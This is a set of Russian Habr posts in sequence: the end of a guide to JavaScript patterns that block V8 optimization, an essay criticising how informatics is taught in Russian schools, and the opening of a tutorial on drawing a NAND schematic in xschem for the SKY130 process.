arguments = 3;
return arguments;
}
```
**Способ решения**: просто не пишите такой идиотский код. В строгом режиме подобное творчество приведёт к исключению.
### Как можно безопасно использовать arguments?
* Применяйте arguments.length.
* Применяйте arguments[i], где i всегда является правильным целочисленным индексом в arguments и не может быть вне его границ.
* Никогда не используйте arguments напрямую без .length или [i].
* Можно применять fn.apply(y, arguments) в строгом режиме. И больше ничего другого, в особенности .slice. Function#apply.
* Помните, что добавление свойств функциям (например, fn.$inject =...) и ограниченным функциям (bound functions) (например, результат работы Function#bind) приводит к созданию скрытых классов, следовательно, это небезопасно при использовании #apply.
Если вы будете соблюдать всё перечисленное, то использование arguments не приведёт к выделению памяти для этого объекта.
4. Switch-case
==============
Выражение switch-case на сегодняшний день может иметь до 128 пунктов case, и если превысить это количество, то содержащая данное выражение функция не сможет быть оптимизирована.
```
function over128Cases(c) {
switch(c) {
case 1: break;
case 2: break;
case 3: break;
...
case 128: break;
case 129: break;
}
}
```
Удерживайте количество case в пределах 128 штук с помощью массива функций или if-else.
5. For-in
=========
Выражение For-in может несколькими способами помешать оптимизации функции.
*### 5.1. Ключ не является локальной переменной*
```
function nonLocalKey1() {
var obj = {}
for(var key in obj);
return function() {
return key;
};
}
var key;
function nonLocalKey2() {
var obj = {}
for(key in obj);
}
```
Ключ не может быть из верхней области видимости, как и не может ссылаться на нижнюю. Он должен быть исключительно локальной переменной.
*### 5.2. Итерируемый объект не является «простым перечисляемым»*
**5.2.1. Объекты в режиме «хэш-таблицы» («нормализованные объекты», «словари» — объекты, чья вспомогательная структура данных представляет собой хэш-таблицу) не являются простыми перечисляемыми**
```
function hashTableIteration() {
var hashTable = {"-": 3};
for(var key in hashTable);
}
```
Объект может перейти в режим хэш-таблицы, к примеру, когда вы динамически добавляете слишком много свойств (вне конструктора), delete свойства, используете свойства, которые не являются корректными идентификаторами, и т. д. Другими словами, если вы используете объект так, словно это хэш-таблица, то он и превращается в хэш-таблицу. Ни в коем случае нельзя передавать такие объекты в for-in. Чтобы узнать, находится ли объект в режиме хэш-таблицы, можно вызвать console.log(%HasFastProperties(obj)) при активированном в Node.js флаге --allow-natives-syntax.
**5.2.2. В цепочке прототипов объекта есть поля с перечисляемыми значениями**
```
Object.prototype.fn = function() {};
```
Эта строка наделяет свойством перечисляемого цепочку прототипов всех объектов (за исключением Object.create(null)). Таким образом, любая функция, содержащая выражение for-in, становится неоптимизируемой (если только они не выполняют перебор объектов Object.create(null)).
С помощью Object.defineProperty вы можете присвоить неперечисляемые свойства. Не рекомендуется делать это во время выполнения. А вот для эффективного определения статических вещей вроде свойств прототипа — самое то.
**5.2.3. Объект содержит перечисляемые индексы массива**
Надо сказать, что свойства индекса массива определены в [спецификации ECMAScript](http://www.ecma-international.org/ecma-262/5.1/#sec-15.4):
*Имя свойства Р (в виде строки) является индексом массива тогда и только тогда, если ToString(ToUint32(P)) равно Р, а ToUint32(P) не равно 232 − 1. Свойство, чьё имя является индексом массива, также называется элементом.*
Как правило, это относится к массивам, но обычные объекты также могут обладать индексами массива:
```
normalObj[0] = value;
function iteratesOverArray() {
var arr = [1, 2, 3];
for (var index in arr) {
}
}
```
Перебор массива с помощью for-in получается медленнее, чем с помощью for, к тому же функция, содержащая for-in, не подвергается оптимизации.
Если передать в for-in объект, не являющийся простым перечисляемым, то это окажет негативное влияние на функцию.
**Способ решения**: всегда используйте Object.keys и перебирайте массив с помощью цикла for. Если вам действительно нужны все свойства из цепочки прототипов, то создайте изолированную вспомогательную функцию:
```
function inheritedKeys(obj) {
var ret = [];
for(var key in obj) {
ret.push(key);
}
return ret;
}
```
6. Бесконечные циклы со сложной логикой условий выхода либо с неясными условиями выхода
=======================================================================================
Иногда при написании кода вы понимаете, что нужно сделать цикл, но не представляете, что в него поместить. Тогда вы вводите while (true) { или for (;;) {, а потом вставляете в цикл break, о котором вскоре забываете. Приходит время рефакторинга, когда выясняется, что функция выполняется медленно или вообще наблюдается деоптимизация. Причина может оказаться в забытом условии прерывания.
Рефакторинг цикла ради помещения условия выхода в условную часть выражения цикла может оказаться нетривиальным. Если условие является частью выражения if в конце цикла и код должен быть выполнен хотя бы один раз, то рефакторьте цикл до do{ } while ();. Если условие выхода расположено в начале, то поместите его в условную часть тела цикла. Если условие выхода расположено в середине, то можете поиграться с кодом: при каждом перемещении части кода из верхней строки в нижнюю оставляйте копию строки над циклом. После того как условие выхода может быть проверено с помощью условного или хотя бы простого логического теста, цикл больше не должен подпадать под деоптимизацию. | https://habr.com/ru/post/273839/ | null | ru | null |
# Володя, где мой компьютер? Проблемы школьной информатики в России
Привет, дорогой читатель. Да, сейчас будет статья, посвященная критике нашего образования. Хочу предупредить, что я ни в коем случае не являюсь *ксенопатриотом*. Нет. Напротив, данной статьей я хочу привлечь внимание к достаточно масштабной проблеме - предмет информатики в России и её реализация в школах. Мой текст можно попробовать ретранслировать на любой другой предмет. Возможно, вы поймете о чем я, прочитав статью.
Моя статья ни коем образом не претендует на «научную точность». Я постараюсь с рядом некоторых допущений наиболее подробно и объективно рассмотреть проблему, описанную в данной статье. Прошу не торопиться кидаться в меня камнями, а попробовать помочь в раскрытии каких-то заголовков, опубликовав информацию в комментариях. Полагаю, она может послужить кому-нибудь пользой.
Рассматриваемые проблемы и вопросы
----------------------------------
* Что такое информатика и откуда она появилась в школах?
* Содержание учебника и четыре года «каши»
* Незаинтересованность учеников
* А последний Word потянет?
* Средний возраст среди учителей информатики и их образование
* Школьники-самоучки или как сдать ЕГЭ по информатике не посещая уроков
* Может лучше сдавать физику?
* План самостоятельного изучения информатики
Что такое информатика и откуда она появилась в школах?
------------------------------------------------------
В советских школах информатика появилась в 1985 году, одновременно с учебником советского ученого Андрея Петровича Ершова *«Основы информатики и вычислительной техники».* Можно долго разглагольствовать о том, что такое информатика, выбирая лучшее определение из википедии и прочих ресурсов. Под информатикой будем понимать предметную область, направленную на освоение разного рода "манипуляций" с информацией. О целях появления информатики в школах тоже долго говорить не стоит. С началом компьютеризации Советы нуждались в поколении "компьютерщиков", ныне известными как "юзеры".
Содержание современного учебника и реальность
---------------------------------------------
Рассмотрим содержание того самого учебника А. П. Ершова *«Основы информатики и вычислительной техники»* и сравним его с содержанием небезызвестного учебника И. Г. Семакина *«Информатика».*
Перед началом сравнения хотелось бы отметить, что существуют и другие учебники (Е. А. Еремина и К. Ю. Полякова, о котором чуть позже будет сказано несколько слов). Тем не менее, популярность первого учебника либо превалирует, либо равна популярности второго. Второй же учебник, как отмечает автор [портала](https://ege-study.ru/ru/ege/materialy/informatika/knigi/) в своей статье, не смотря на крайне хорошего автора Константина Полякова, рассматривает темы за пределами ЕГЭ. Вы в праве ознакомиться с содержанием учебника Полякова и сделать свое сравнение с содержанием учебника Семакина.
А пока вернемся к сравнению. Содержание описано в главах/разделах.
| | |
| --- | --- |
| **А. П. Ершов** **(I и II части)** | **И. Г. Семакин (учебник 7-11 классы)** |
| Алгоритмы. Алгоритмический язык | [7кл.] Человек и информация `^^` |
| Построение алгоритмов для решения задач | [7кл.] Компьютер: устройство и программное обеспечение |
| Устройство ЭВМ | [7кл.] Текстовая информация и компьютер |
| Знакомство с программированием | [7кл.] Графическая информация и компьютер |
| Роль ЭВМ в современном обществе. Перспективы развития вычислительной техники | [7кл.] Мультимедиа и компьютерные презентации |
| --- | [8кл.] Передача информации в компьютерных сетях |
| --- | [8кл.] Информационное моделирование `***` |
| --- | [8кл.] Хранение и обработка информации в базах данных |
| --- | [8кл.] Табличные вычисления на компьютере |
| --- | [9кл.] Управление и алгоритмы |
| --- | [9кл.] Введение в программирование |
| --- | [9кл.] Информационные технологии в обществе |
| --- | [10кл.] Информация `^^` |
| --- | [10кл.] Информационные процессы в системах |
| --- | [10кл.] Информационные модели `***` |
| --- | [10кл.] Программно-технические системы реализации информационных процессов |
| --- | [10кл.] Технология использования и разработки информационных систем |
| --- | [10кл.] Технологии информационного моделирования |
| --- | [10кл.] Основы социальной информатики `$$` |
| --- | [11кл.] Информационные системы и базы данных |
| --- | [11кл.] Интернет |
| --- | [11кл.] Информационное моделирование `***` |
| --- | [11кл.] Социальная информатика `$$` |
На первый взгляд, если сравнивать по признаку количества разделов, то может показаться, что современные учебники по информатике сильно превосходят первый учебник, состоящий из двухсот страниц. Однако если мы посмотрим на правый столбец, то можем заметить справа от некоторых разделов интересные маркеры. Этими маркерами я обозначил повторяемость темы на протяжении курса Информатики с 7 по 11 класс.
Действительно, иногда полезно в течение курса повторять некоторые темы, которые могут вызывать затруднения у школьника. Но можно ли сказать, что целесообразно растягивать столь небольшой курс на 4 года (в некоторых школах и вовсе с 5 или 6 класса)? Я считаю, что нет. Постараюсь обосновать свой ответ.
Незаинтересованность учеников
-----------------------------
Я вовсе не считаю, что количество часов нужно сокращать. Мое представление было бы таковым, если бы сам предмет информатики был крайне узким. Но это не так. Информатика достаточно широкая и комплексная наука, которая нуждается в изучении отдельных её областей, чтобы было хоть какое-то понимание. На деле же ученики даже не заинтересованы, поскольку они лишь поверхностно изучают тот объект, с которым сталкиваются ежедневно дома - компьютер. Школа не может предложить ничего нового. Хорошо ситуацию можно описать, сославшись на строки из статьи [Яндекс Учитель](https://teacher.yandex.ru/posts/uchitel-informatiki-v-sovremennoy-shkole).
> *«Современные дети хотят видеть результат, – уверен Паволоцкий. – 20 лет назад было достаточно рассказать, что можно вычитать числа, не зная операции «вычитание», пользуясь только сложением. Теперь же нужно показать на практике, почему именно так всё работает. Можно сделать какой-то совместный проект с учениками. Например, создать навык для голосового помощника Алисы. Это просто и наглядно»*
>
>
С возникшей и стремительно-развивающейся популярностью программирования и IT-технологий некоторое множество школьников самостоятельно приступает к изучению современных технологий того же программирования, моделирования.
А последний Word потянет?
-------------------------
Проскакивает следующая мысль, что в домашних условиях не только наиболее комфортно, но также и наиболее эффективно можно изучать ту же информатику. Конечно, это далеко не всегда так. По сей день остаются малообеспеченные семьи, которые не имеют возможности приобрести ПК для своего чада. Однако от подобной проблемы не должны страдать школы. Школьные классы и созданы были для того, чтобы изучать преподаваемую дисциплину со всеми условиями, а на данный момент техническое оснащение школ, не относящихся к той же Москве, оставляет желать лучшего. Так как мы стараемся более или менее объективно рассмотреть все проблемы, давайте ознакомимся с данными об оснащенности школьников компьютерами. Процитирована следующая [статья](https://cyberleninka.ru/article/n/analiz-osnaschennosti-obscheobrazovatelnyh-organizatsiy-rossii-kompyuternoy-tehnikoy).
> *«*... *По данным на начало 2019 г. в среднем по России на 1000 школьников приходится 141 персональных компьютеров (ПК). В отдельных регионах число ПК на 1000 обучающихся превышает 200 единиц. К таким регионам относятся: Калужская область (200 ед.), Тульская область (201 ед.), г. Москва (234 ед.), Республика Татарстан (243 ед.), Тюменская область (271 ед.) и Камчатский край (295 ед.). При этом ряд регионов России не выходит на уровень 100 компьютеров на 1000 обучающихся. В Центральном федеральном округе к таким регионам относится только Орловская область (98 ед.). Большинство регионов с низким уровнем оснащенности компьютерной техникой находятся в Южном и Северо-Кавказском федеральном округах. Из Южного федерального округа – это Республика Адыгея (85 ед.), республика Крым (74 ед.) и Астраханская область (98 ед.). В Северо-Кавказском федеральном округе – это Республика Дагестан (96 ед.), Республика Ингушетия (41 ед.), Кабардино-Балкарская Республика (86 ед.), Чеченская республика (42 ед.) и Ставропольский край (78 ед.)*... *»*
>
>
Из приведенной сводки видно, что некоторые регионы явным образом страдают малым количеством компьютеров. Это ещё речь не зашла о капиталовложениях в оборудование. По данным с сайта [кабинета министров](http://government.ru/news/38302/), за тот же 2019 год на развитие информационно-телекоммуникационной инфраструктуры общеобразовательных организаций было выделено из федерального бюджета 3 млрд. рублей, которые распределились между 13 субъектами РФ, определённых в соответствии с их участием в качестве пилотных регионов, осуществляющих внедрение целевой модели цифровой образовательной среды. Какие именно это субъекты, не уточняется.
> *«*... *Принятие проекта распоряжения позволит обеспечить к концу 2019 года развитие информационно-телекоммуникационной инфраструктуры не менее чем в 1,7 тыс. общеобразовательных организациях в части модернизации существующих структурированных кабельных систем и локальных вычислительных сетей внутри указанных объектов, а также в части решения технологических вопросов обеспечения комплексной безопасности, а именно систем видеонаблюдения, контроля доступа и источников бесперебойного питания...* *»*
>
>
Более информации об обновлении оборудования посредством выделения Н-ых сумм денег я не нашел. Хотя, чего стоило ожидать, когда малообеспеченным семьям [выдают оборудование для дистанционных занятий](https://www.kp.ru/online/news/3807823/) на время, а это самое [оборудование собирают с чуть более обеспеченных граждан](https://news.rambler.ru/education/44006827-stalo-izvestno-kak-nuzhdayuschiesya-semi-smogut-poluchit-kompyuter-dlya-distantsionnogo-obucheniya/)? Для уроков информатики минимальные условия имеются, хоть зачастую приходится и потесниться с товарищем около одной клавиатуры и монитора. Зато воспитаем в детях способность к работе в команде! Более печальная ситуация (проблема оснащения классов) наблюдается с химией и физикой. *Пока что мечты о препарировании лягушек снисходят на нет...*
Средний возраст среди учителей информатики и их образование
-----------------------------------------------------------
Проведя весь вечер в размышлениях над источником проблемы некачественного преподавания информатики, я решил сослаться на возраст. Но в своей сути не возраст является источником проблем. Конечно, мы не можем с абсолютной уверенностью утверждать, что если учитель моложе, то информатику он будет преподавать лучше. Также мы и не можем утверждать обратного. Однако сейчас мы постараемся разобраться и, возможно, грубо прикинуть, насколько актуальны знания современных учителей.
Признаюсь честно, опираясь на собственный опыт, я ожидал найти данные о том, что средний возраст порядка 60-ти лет (при этом я не шучу и желаю кого-либо оскорбить; я говорю это к тому, что молодые люди уже не имеют желания идти и работать учителем), но результаты меня впечатлили. Хотя, честно, данных имею недостаточно. Но постараемся оперировать тем, что имеем из открытых источников.
Сложно найти конкретно по учителям информатики. Зато есть информация о среднем возрасте среди всех учителей. На 2021 год, по заявлению министра просвещения Сергея Кравцова, средний возраст школьного учителя в РФ составляет 45-47 лет. Информация взята с портала [Рамблер](https://news.rambler.ru/education/46062343-v-minprosvscheniya-nazvali-sredniy-vozrast-shkolnogo-uchitelya/).
> *«... Средний возраст учителя в российских школах составляет 45-47 лет. Это нормально, нас это радует», — выразил мнение министерства Кравцов.... »*
>
>
Также удалось найти данные на 2019-2020 гг., хоть и относящиеся к небольшой выборке, но которые свидетельствуют о среднем возрасте конкретно среди учителей информатики в образовательных учреждениях Петровского городского округа. Да, выборка крайне мала, состоящая из 24 учителей, но является полезной для рассмотрения конкретно Петровского городского округа. Данные взяты с сайта [Петровского отдела образования](http://petrovoo.ucoz.ru/) из следующего [документа](https://docviewer.yandex.ru/view/665725445/?page=1&*=c7gFsH%2BaujmlQPg6SW1gra9Pofx7InVybCI6InlhLWJyb3dzZXI6Ly80RFQxdVhFUFJySlJYbFVGb2V3cnVONU1ndTB5cFRwdzVXVjVraHh0am8wVjMzcTJhUEM1dEs2MVhXNnlEVEYtNDd5Yy1jUXdiVUJONzJ5WFpLOTNOOFVkU280T2NPSTZrSzlXWEllVHBCWlU1X1lVZmZLbmFUTk5ISElldkl1eGlKQUdVVHNraGZXczRZbWQtZW8xSUE9PT9zaWduPWZ6TVBEcmpEWXJydU9OVmFnVnhGYTdVbGl2UHpDYURHM2syY2tKd0VRMmc9IiwidGl0bGUiOiIxYW5hbGl6XzIwMTktMjAyMF9pX3BsYW5fcm1vX3VjaGl0ZWxlal9pbmZvcm1hdGlraS5kb2MiLCJub2lmcmFtZSI6ZmFsc2UsInVpZCI6IjY2NTcyNTQ0NSIsInRzIjoxNjI1MDg4MjY5NTQyLCJ5dSI6IjU4NjQxNzk3NzE1MjEyODY3NTIifQ%3D%3D).
> *«... Среди учителей информатики 79% преподавателей в возрасте от 20 до 49 лет и 24% предпенсионного и пенсионного возраста. Уменьшилось количество педагогов в возрасте до 25 лет. Средний возраст данной категории учителей составляет 39 лет. Средний возраст учителей информатики стабилен.... »*
>
>
Ничего не остается, кроме как грубо положить, что средний возраст учителя информатики в РФ равен 39 годам. Смотрим в пользу молодости, так сказать. В пределах некоторой окрестности (~ 2-4 года) разница должна быть несущественной. Хорошо, это отличный показатель, как я считаю. Но перед тем, как что-то говорить о потенциальной компетентности учителей, узнаем, согласно каким критериям устраиваются на работу учителя информатики. Обратимся к [статье Национального исследовательского института дополнительного образования и профессионального обучения](https://niidpo.ru/news/419).
> *«... Согласно ЕКС на должность учителя по предмету «Информатика и ИКТ» администрация может принять не имеющих педагогического опыта работы лиц, которые получили среднее профессиональное или высшее образование по педагогическому направлению или в сфере, соответствующей преподаваемому предмету. Также преподавать профильный предмет могут люди, окончившие непрофильный вуз или среднее профессиональное учебное заведение и освоившие дополнительное педагогическое профессиональное образование по дисциплине, которую они планируют преподавать.... »*
>
>
Полагаю, многие осознают следующее: если даже возраст учителя 39 лет и он имеет профильное высшее образование, то велика вероятность, что он мало обладает актуальными знаниями. И даже не в возрасте дело. *Резюмируя с возрастом, отмечу, что по моему мнению он не играет весомой роли.* *Все зависит от среды, в которой учитель работает.* *И если цель учителя - дать фундаментальные знания, а уже потом обучить современным технологиям (чем могут заниматься внеурочные организации, вовлекающие детей в изучение предмета), то достаточно учителю дать волю обучать, а не закидывать его бумажной работой (мое мнение).*
Дело также в том, что в современных реалиях учителю не представляется возможным изучать современные технологии, поскольку нагрузка на школьного учителя падает неимоверная. Это относится к учителям разных предметных областей и виноваты в этом не они. *Учителя в рассмотренных проблемах преподавания не виноваты.*
На деле же мы получаем, что потенциальный учитель может также и не иметь образования, связанного с информатикой и ИКТ. Курсы *сверхбыстрой переподготовки* никогда не смогут полноценно восполнить знания учителя из сторонней области. Другой вопрос, если преподавать хочет специалист, но мало кто готов пожертвовать себя, чтобы нести знание в *молодые массы*.
Отсюда вопрос *"А как обучить предмету детей?"*. Никак. У учителя нет возможностей не то, чтобы следовать за последними технологиями, но даже преподавать фундаментальные вещи. Хотя бы из-за нехватки времени. В наше время учитель скорее офисный планктон, работающий под гнетом бюрократии и заполняющий очередной журнал.
Помимо всего прочего, немаловажный фактор, который конечно же играет значительную роль в формировании интереса к исполнению своих должностных обязанностей учителем - заработок. Но честно скажу, что, возможно, он играет второстепенную роль. Поскольку *учителем в моем понимании становится благородный человек, имеющий способность к тому, чтобы отдавать...*
Не думаю, что на этот раз следует приводить данные по размеру заработной платы учителя, поскольку ситуация всем и без того известна. *Чтобы организовать образовательный процесс и вовлечь детей, нужно вовлечь и самих учителей, которые сами готовы обучаться и отдавать свои силы и знания ученикам.*
Школьники-самоучки или как сдать ЕГЭ по информатике не посещая уроков
---------------------------------------------------------------------
Не один уже год ведутся споры по поводу того, как школа готовит детей к ЕГЭ. Вопрос очень интересный и экзотический. Не смотря на весь тот большой объем знаний, что нам предлагает Семакин в виде своих учебников, ситуация такова, что невозможно хорошо сдать ЕГЭ, даже если ты решаешь все примеры, данные в учебнике по информатике. Давайте в этом убедимся. Сделать это действительно просто, ведь достаточно сравнить сканы заданий из учебника по информатике за 11 класс и задания на ЕГЭ за 2021 год.
С натяжкой, но разбор мы начнем со второй части. Если бы статья была написана ещё год назад, то я добавил бы несколько слов про 23 номер (решение систем логических уравнений) из открытого варианта ЕГЭ по информатике 2021 года.
Первое, на что хочется посмотреть - задания на программирование. Рассмотрим один из сканов, взятых с сайта [4ege](https://4ege.ru/novosti-ege/61912-otkrytye-varianty-kim-ege-2021.html).
Идея задания достаточно простая, если обучаться не по школьному учебнику. Ведь учебник, к сожалению, к такому роду заданий мало готовит. Стоит отметить, что сложность заданий остается из года в год приблизительно одной и той же. Но об этом сложно судить, поскольку структура стандартного варианта ЕГЭ по информатике в 2021 году была переписана. И теперь, в отличие от предыдущих лет, школьники не вынуждены программировать на листочках, а имеют возможность это сделать на предоставленном ПК. Это, как мне кажется, достаточно серьезный шаг, который несомненно присваивает плюс в пользу ЕГЭ по информатике. Кстати, посмотрим на практикумы из учебника за 11 класс.
Нет, правда, ничего более приближенного к заданию из ЕГЭ я не сумел найти. Хотя это вообще несопоставимо... Может не там искал? Давайте просмотрим учебник за 10 класс, ведь если отмотать статью назад до таблицы, в которой мы сравнивали содержания, то в самой таблице видно, что именно в учебнике за 10 класс есть что-то вроде напоминающее программирование - раздел «Программно-технические системы реализации информационных процессов».
Спустя некоторое время я пришел к выводу, что и в учебнике за 10 класс нет ничего сравнимого с заданием из открытого варианта ЕГЭ. Даже больше скажу, там посвящено Паскалю порядка 10 страниц, может чуть больше или меньше. Не важно. Познание ограничивается типами данных. Зато что-то поверхностно рассказывают про статистику, метод наименьших квадратов даже упомянули. На деле, самое интересное, что я нашел - исторические справки, которые действительно полезно почитать. Печально, что *учебник по информатике превратился в глухое чтение блок-схем*, поверхностное и занудное изучение определений темы, о которой ты ничего по сути и не знаешь. Искренне надеюсь, что если вы сейчас учитесь в школе, то вам преподают программирование не по учебнику, а по иным материалам.
Хочу сразу в этом же разделе и подытожить тему с изучением информатики по школьной программе. На данный момент это крайне нецелесообразно. Не понятно, зачем одни и те же разделы растягивать на курс с 7 по 11 класс. Не понятно, зачем вовсе нужен столь длинный курс информатики и зачем детей изнурять темами, которые даже целостно не раскрываются (мои слова вы можете проверить, найдя учебник в электронном виде). Я уже не говорю про субъективный опыт. Мы сейчас рассмотрели программу в явном виде, открыли учебник и сделали выводы. А ведь встречаются и частные истории про ежегодное изучение Paint, Word и Excel. Иногда и Access преподают. И если тот же Word, Excel и Access можно ещё обозначить как то, что пригодится, то в остальных случаях складывается впечатление, что *изучают не информатику, а бухгалтерское дело*, заготавливая новую партию офисных работников на низкооплачиваемых должностях. Но это все эмоции и, к сожалению, далеко не конец. Переходим к следующему разделу...
А может лучше сдавать физику?
-----------------------------
Нельзя игнорировать перспективу информатики как экзамена на ЕГЭ. Сейчас, когда IT-технологии быстро и верно завлекают подрастающие поколения, очень популярными стали направления, связанные с информатикой, что хорошо видно, если посмотреть ТОП 10 популярных направлений подготовки в ВУЗ`ах. Рейтинг составлен порталом [Табитуриент](https://tabiturient.ru/topspec/).
Действительно, показатели очень даже неплохие, с учетом того, что в рейтинге программ обучения представлены не только технические и физико-математические профили.
Давайте рассмотрим иные показатели. Меня интересует перспектива поступления с информатикой «среднего абитуриента», который по трём предметам набрал средние баллы. При этом мы рассматриваем не отдельную страту, объединяющую школьников Z-региона, а всю совокупность, школьников всех регионов. Ниже представлены нужные нам показатели за 2020 год, взятые с ресурса [4ege](https://4ege.ru/materials_podgotovka/59933-srednie-bally-ege-2020-po-vsem-predmetam.html).
| | |
| --- | --- |
| Русский язык | 69,3 ~ 70 |
| Математика (профильная) | 49,6 ~ 50 |
| Информатика и ИКТ | 58,7 ~ 60 |
На самом деле, я удивлен показателями. Дабы у нашего студента был шанс поступить на бюджет в ВУЗ Санкт-Петербурга, добавим ему 1-2 балла, тем самым округлим до ближайшего числа, кратного пяти. Теперь абитуриент получается не очень то и средним. Но да ладно. Наш претендент в сумме имеет 180 баллов.
Посмотрим, какие ВУЗ'ы готовы принять нас на бюджетной основе, на очный формат обучения. Для этого воспользуемся калькулятором ЕГЭ сайта [Табитуриент](https://tabiturient.ru/calculator/), по результатам которого у претендента есть целых 37 вариантов поступления на бюджет очной программы обучения в Санкт-Петербурге и Ленинградской области. При этом далеко не все варианты связуемые с информатикой.
Проведем похожие манипуляции для абитуриента, поступающего с набором *Физика + Математика + Русский*. С учетом среднего балла по физике, который равен с округлением 55 (52,4) и суммарного балла 175, получаем 66 вариантов поступления в Санкт-Петербурге и Ленинградской области. Среди них даже есть информационные направления. Их количество невелико, но они есть (4 варианта).
Очевидно, что играет множество факторов:
* Данные о баллах (не всегда, но не исключено) указаны с учетом баллов «целевиков» (абитуриентов, которые поступают по [целевой программе](https://kursar.ru/celevoe-obuchenie-chto-eto-zachem-ono-nuzhno-i-kak-postupit)), которые, как показывает практика (субъективщина), часто ниже баллов обычных бюджетников на том же направлении. Помимо этого, прошлый год - первый учебный год, когда школьники могли подавать документы дистанционно. Следствия такой процедуры подачи - смельчаки, которые отправляли документы иногда в несколько ВУЗов одновременно, из-за чего они могли себе позволить пойти на риск и отправить документы в тот же СПбГУ, тем самым сбив его проходной балл до своего.
* Нужно учитывать также и количество сдающих тот или иной предмет. Например, направлений с физикой может быть больше, так как количество потенциальных абитуриентов-физиков превосходящее количество абитуриентов-информатиков (за 2020 год физику сдавало 139 тыс. человек, а информатику 83 тыс., это играет весомую роль при выборе стратегии поступления).
* К тому же, мы рассмотрели лишь единственный город, Санкт-Петербург. Нужно смотреть на количество вариантов поступления по всей России и отсюда уже делать выводы, где вариантов потенциально для поступления больше. Сложно сказать, какой именно процент абитуриентов стремится поступить в Москву и Санкт-Петербург. Для более точных предсказаний по поступлению недостаточно тех данных, что у нас имеются, но какие-то выводы сделать можно.
Проще говоря, процесс подачи документов - очень трудоемкий процесс, который нуждается в доскональном анализе показателей за предыдущие годы. Поскольку этот процесс достаточно трудоемок и может сильно отразиться на объеме статьи, то я лишь оставлю [ссылку на полезный ресурс (канал GrandExam)](https://www.youtube.com/channel/UCtn7MV_qFYDZIihjJp4AJuw), который поможет многим предопределить свой выбор.
План самостоятельного изучения информатики
------------------------------------------
Что делать, если есть желание изучить информатику, но в школе попросту нет возможности? Изучить самостоятельно! Данный раздел я не буду подробно расписывать, ибо это уже походит на отдельную статью, но несколько идей выделить могу.
В первую очередь, конечно, стоит ориентироваться на решение олимпиад по информатике. На самом деле, написать олимпиаду и поступить по ней - осуществимое дело. Существует целое множество олимпиад третьего уровня, которые проводятся неизвестными университетами в "мелких" городах, о которых мало кто знает и там, как следствие, меньше порог вхождения и сложность. Единственное, что стоит учитывать - котируется ли олимпиада ВУЗом, в который вы желаете поступить. Но в целом, идея готовиться конкретно к олимпиадам - выигрышная стратегия, так как позволяет подтянуть навык программирования. Если говорить конкретно о критериях ЕГЭ, то, конечно, желательно попробовать решать задачи именно с этими критериями.
Выделю отдельный абзац для рекомендации [ресурса](https://kpolyakov.spb.ru/) немалоизвестного замечательного преподавателя Константина Полякова, внесшего огромнейший вклад в подготовку к ЕГЭ каждого школьника. Помимо заданий с ЕГЭ'шки там также представлены материалы для более глубокого изучения информатики.
А откуда брать теор. базу? Я рекомендовал бы прочесть труды А. П. Ершова для общего ознакомления и, если у вас есть немного свободного времени и много инициативы, прочитать учебник для студентов программ бакалавриата "Теоретические основы информатики", авторства А. А. Забуги. Вы, возможно, не все вещи поймете, но в вас может пробудиться ещё больший интерес к данной науке.
Несомненно, в информатике нельзя обойтись без математики. Она куда важнее, чем умение работать с Excel. Если последний навык можно приобрести за относительно короткий срок, то с математикой так может получиться далеко не всегда. Плюс, если вы собираетесь поступать на направление информационной направленности, то математика абсолютно точно пригодится. Для ЕГЭ полезно будет, если вы разбираетесь в алгебре, булевой алгебре, теории множеств, теории графов, теории игр, комбинаторике и др. Вероятно, в будущем я запущу бесплатный курс по дискретной математике (а может и по какой-то другой теме, а может и по всему сразу), так что... периодически смотрите комментарии и следите за моим [пабликом](https://vk.com/communcscience)!
Очень полезно будет, если вы целенаправленно почитаете какие-то исторические сноски, посмотрите фильмы или почитаете книжки про историю информатики. Подобные вещи, возможно, не сильно теоретически подкованы, но позволят лучше понять, что это за предметная область, каким образом она зарождалась и так далее.
Конечно, если позволяет время, беритесь за изучение современных технологий. Не бойтесь пробовать изучать, например, системную инженерию или разработку веб-сервисов, параллельно разбираясь, например, с мобильной разработкой. В совокупности это может дать вам общую картину обо всем, что представляет из себя индустрия IT. Кто знает, может вы и вовсе станете специалистом в ходе самостоятельного обучения и сможете участвовать не только в олимпиадах для школьников, но и в интересных соревнованиях: спортивное программирование, хакатоны и прочее.
Заключение
----------
Резюмируя, хочу отметить, что во многих моментах это спорная статья. Я планировал привнести в эту статью ещё несколько разделов, но это дело я оставлю на потом. Вероятно, если статья окажется удачной, напишу вторую часть. Ведь, недостаточно обозначить проблему, нужно также попробовать найти пути к её решению. С этим делом можете помочь мне вы, если напишите свое мнение по поводу того, что есть плохое в современной школьной (а возможно и не школьной, возможно и вовсе отзоветесь об образовании в целом) информатике в России. Если у вас есть желание - дерзайте! | https://habr.com/ru/post/570690/ | null | ru | null |
# Как разработать микросхему, от идеи до результата. Часть 3. Схемотехническое представление и Layout
В прошлой статье мы установили все программы, а в этой части, мы наконец приступим к практической части. Готовьтесь, эта часть будет очень большой. Для тех кто пропустил прошлые части — ссылки ниже.
[](https://habr.com/ru/company/ruvds/blog/591293/)
**Как разработать микросхему, от идеи до результата. Ссылки на все статьи։**
* **[Часть 1. Теория](https://habr.com/ru/company/ruvds/blog/591275/)**
* **[Часть 2. Установка программного обеспечения](https://habr.com/ru/company/ruvds/blog/591291/)**
* **[Часть 3. Схемотехническое представление и Layout](https://habr.com/ru/company/ruvds/blog/591293/)**
* **Будет доступна 10.12.21: [Часть 4. DRC/LVS/PEX](https://habr.com/ru/company/ruvds/blog/591295/)**
В этой части мы:
1. Будем рисовать схему, используя XSCHEM
2. Произведём симуляцию нашей схемы, используя NGSPICE
3. Поймём цикл производства микросхемы
4. Нарисуем Layout, используя KLayout
Предполагается, что вы уже прочитали предыдущие материалы. Если мне удалось вас заинтересовать, прошу под кат!
Откроем xschem:
```
cd xschem
xschem
```
Типичная ошибка, если вы не выполнили `source sourceme.sh`։
```
Tcl_AppInit() error: can not execute /home/armleo/Desktop/habr_nand_sky130/xschem/xschemrc, please fix:
can't read "env(PDK_ROOT)": no such variable
```
Если вы сделали всё правильно, откроется следующее окно XSCHEM:
Если вам открылось что-то иное, то скорее всего — вы не в папке xschem, либо у вас не установлен PDK, либо вы НЕ клонировали мой репозиторий, который содержит Caravel и изменённый файл xschemrc. Вам не нужно менять этот файл, если вы используете проект из моего репозитория. Мой файл xschemrc можно [найти тут](https://github.com/armleo/habr_nand_sky130/blob/main/xschem/xschemrc).
Затем я собрал схему простого NAND.
`File -> New Schematic`:
Затем нажал на Insert и создал 4 транзистора:
В окне я выбрал компонент, который мне нужен. Для этого в списке я выбрал sky130A/libs.tech из левого списка (отмечено красным).
